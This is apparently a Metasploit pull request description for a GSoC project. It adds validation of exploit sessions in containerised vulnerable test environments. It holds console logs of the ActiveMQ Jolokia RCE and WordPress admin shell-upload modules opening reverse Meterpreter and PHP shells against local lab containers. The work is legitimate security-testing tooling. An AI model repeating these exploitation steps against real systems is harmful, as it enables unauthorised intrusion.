Vulnenv week9

[Nayeraneru]

Refering to rapid7#20506
GSoC 2026 — Week 9 deliverables for the Automated Vulnerable Environment Provisioning project.

Summary
Closes the gap where ci.validation was defined in the schema but never actually checked. Adds test_env validate <ID>, making environment definitions a real single source of truth for pass/fail — not just for container config, health checks, and datastore, but for validation too.

Changes

• New test_env validate <ID> command: resolves a built environment's ci.validation block and checks the session it produced (type + expected output), printing PASS/FAIL with a specific reason.
• Session selection tries all candidate sessions for a module (oldest-first), not just the most recent — some exploits (e.g. ActiveMQ Jolokia) open duplicate sessions, and recency isn't a reliable signal for which one actually works.
• Meterpreter verification uses sys.config.getuid (TLV request/response) instead of shell_command_token (process channel), after the latter proved unreliable in this environment. Shell sessions still use shell_command_token.
• wordpress.yml / activemq.yml: removed hardcoded LHOST: 127.0.0.1 from ci.exploit.options — it broke callback connectivity from inside containers. Left unset so Metasploit's own interface auto-detection applies.
• Schema doc: documented ci.exploit/ci.validation fields, the LHOST gotcha, and a known limitation — exec/validate must run in the same msfconsole process, since sessions are process-local.

deferred
Duplication reduction across multiple modules sharing one definition is architecturally supported but not demonstrated — currently one module per definition. Real proof needs a second module added to an existing definition, which fits better under Week 10

Testing Result:

msf > load test_env
[*] TestEnv plugin loaded. Runtime: podman
[*] Rootless Podman verified — pasta networking available.
[*] Successfully loaded plugin: test_env
msf > use exploit/multi/http/apache_activemq_jolokia_rce
[*] No payload configured, defaulting to cmd/linux/ftp/x64/meterpreter/reverse_tcp
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env build
[*] Resolving environment for exploit/multi/http/apache_activemq_jolokia_rce...
[*] Definition: activemq | Variant: 5.18.6 | Profile: default
[*] Image: docker.io/apache/activemq-classic:5.18.6
[*] Setting recommended payload for this environment: cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Pulling image docker.io/apache/activemq-classic:5.18.6...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: b8b05a8cd5f2
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/12...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 2/12...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 3/12...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 1
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49152
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/ USERNAME=admin PASSWORD=admin
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env exec 1
[*] Using exploit/multi/http/apache_activemq_jolokia_rce...
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Setting recommended payload for this environment: cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
LPORT => 4444
RHOSTS => 127.0.0.1
RPORT => 49152
TARGETURI => /
USERNAME => admin
PASSWORD => admin
SRVPORT => 46183
FETCH_SRVPORT => 43087
[*] Executing: exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/ USERNAME=admin PASSWORD=admin
[*] Started reverse TCP handler on 172.21.176.212:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Jolokia accessible — agent version: unknown
[*] Using URL: http://172.21.176.212:46183/Ldob1q
[*] Using broker name: localhost
[*] Sending Jolokia exploit request to 127.0.0.1:49152
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[+] Jolokia accepted the payload — waiting for target to fetch Spring XML...
[*] Sending stage (3106788 bytes) to 172.21.176.212
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[*] Sending stage (3106788 bytes) to 172.21.176.212
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[*] Meterpreter session 1 opened (172.21.176.212:4444 -> 172.21.176.212:55948) at 2026-08-09 03:54:13 +0300
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[*] Server stopped.

[*] Meterpreter session 2 opened (172.21.176.212:4444 -> 172.21.176.212:50288) at 2026-08-09 03:54:14 +0300
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env validate 1
[*] Validating environment 1 (exploit/multi/http/apache_activemq_jolokia_rce) against activemq's ci.validation...
[*] Found 2 session(s) for this module: 1, 2
[*] Using session 1 (meterpreter)
[+] PASS: environment 1 validated successfully against activemq's ci.validation.

msf > load test_env
[*] TestEnv plugin loaded. Runtime: podman
[*] Rootless Podman verified — pasta networking available.
[*] Successfully loaded plugin: test_env
msf > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env build
[*] Resolving environment for exploit/unix/webapp/wp_admin_shell_upload...
[*] Definition: wordpress | Variant: latest | Profile: default
[*] Image: docker.io/eystsen/vulnerablewordpress
[*] Setting recommended payload for this environment: php/reverse_php
[*] Pulling image docker.io/eystsen/vulnerablewordpress...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: ce5aed5e4dba
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/15...
[*]   Connection reset on port 49153 (service still initializing)
[*]   Attempt 2/15...
[*]   Connection reset on port 49153 (service still initializing)
[*]   Attempt 3/15...
[*]   Connection reset on port 49153 (service still initializing)
[*]   Attempt 4/15...
[+] Health check passed.
[*] Provisioning environment...
[+] Provisioning request sent.
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/10...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 2
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49153
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49153 TARGETURI=/ USERNAME=admin PASSWORD=admin
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env exec 2
[*] Using exploit/unix/webapp/wp_admin_shell_upload...
[*] Using configured payload php/reverse_php
[*] Setting recommended payload for this environment: php/reverse_php
PAYLOAD => php/reverse_php
LPORT => 4444
RHOSTS => 127.0.0.1
RPORT => 49153
TARGETURI => /
USERNAME => admin
PASSWORD => admin
[!] Unknown datastore option: SRVPORT. Did you mean RPORT?
SRVPORT => 42955
[!] Unknown datastore option: FETCH_SRVPORT.
FETCH_SRVPORT => 34875
[*] Executing: exploit RHOSTS=127.0.0.1 RPORT=49153 TARGETURI=/ USERNAME=admin PASSWORD=admin
[*] Started reverse TCP handler on 172.21.176.212:4444
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] 127.0.0.1 - Command shell session 1 closed.
[*] Executing the payload at /wp-content/plugins/vHWGixLNeZ/pRmWXYldZD.php...
[+] Deleted pRmWXYldZD.php
[+] Deleted vHWGixLNeZ.php
[+] Deleted ../vHWGixLNeZ
[*] Command shell session 2 opened (172.21.176.212:4444 -> 172.21.176.212:60086) at 2026-08-09 03:54:49 +0300

background

Background session 2? [y/N]  y
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env validate 2
[*] Validating environment 2 (exploit/unix/webapp/wp_admin_shell_upload) against wordpress's ci.validation...
[*] Found 1 session(s) for this module: 2
[*] Using session 2 (shell)
[+] PASS: environment 2 validated successfully against wordpress's ci.validation.

[h00die]

gave it a quick look over, not much of a code review, and looks like a good iteration. i'll try to give it a run later